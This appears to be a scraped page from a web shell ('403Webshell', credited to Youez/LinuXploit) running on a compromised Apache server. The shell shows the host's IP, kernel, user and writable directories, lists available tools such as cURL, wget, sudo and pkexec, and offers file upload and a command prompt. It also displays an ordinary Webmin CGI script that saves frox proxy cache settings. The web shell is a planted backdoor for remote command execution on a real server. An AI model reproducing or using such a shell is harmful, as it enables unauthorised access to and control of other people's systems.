403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/frox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/frox/save_cache.cgi
#!/usr/bin/perl
# Save caching options

require './frox-lib.pl';
&ReadParse();
&error_setup($text{'cache_err'});
$conf = &get_config();

if (!$in{'CacheModule'}) {
	&save_directive($conf, "CacheModule", [ ]);
	}
elsif ($in{'CacheModule'} eq 'local') {
	&save_directive($conf, "CacheModule", [ "local" ]);
	&save_textbox($conf, "CacheSize", \&check_size);
	}
else {
	&save_directive($conf, "CacheModule", [ "http" ]);
	&save_textbox($conf, "HTTPProxy", \&check_proxy);
	&save_textbox($conf, "MinCacheSize", \&check_size);
	}

&save_yesno($conf, "StrictCaching");
&save_yesno($conf, "CacheOnFQDN");
&save_yesno($conf, "CacheAll");

&save_opt_textbox($conf, "VirusScanner", \&check_scanner);
&save_opt_textbox($conf, "VSOK", \&check_int);
&save_opt_textbox($conf, "VSProgressMsgs", \&check_int);

&lock_file($config{'frox_conf'});
&flush_file_lines();
&unlock_file($config{'frox_conf'});
&webmin_log("cache");
&redirect("");

sub check_size
{
return $_[0] =~ /^\d+$/ ? undef : $text{'cache_esize'};
}

sub check_proxy
{
return $_[0] =~ /^(\S+):(\d+)$/ && &to_ipaddress($1) ?
	undef : $text{'cache_eproxy'};
}

sub check_scanner
{
return $_[0] =~ /^"([^"]+)"/ && -x $1 ? undef :
       $_[0] =~ /^(\S+)/ && -x $1 ? undef : $text{'cache_escanner'};
}

sub check_int
{
return $_[0] =~ /^\d+$/ ? undef : $text{'cache_eint'};
}


Youez - 2016 - github.com/yon3zu
LinuXploit